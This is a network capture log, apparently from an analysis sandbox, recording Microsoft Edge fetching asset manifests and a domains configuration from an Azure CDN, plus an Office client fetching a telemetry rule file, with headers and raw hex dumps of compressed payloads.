2024-11-25 15:21:38 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49818	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:38 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:38 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: c71c400f-801e-0010-5906-3f5ee1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152138Z-174c587ffdfmrvb9hC1TEBtn38000000065g0000000079te Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:39 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49819	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:38 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:39 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:38 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 25a254a2-e01e-004f-5920-3eac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152138Z-174c587ffdfmrvb9hC1TEBtn380000000670000000000w3x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:39 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-25 15:21:39 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152139Z-174c587ffdf8lw6dhC1TEBkgs8000000061000000000s0sp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:39 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> 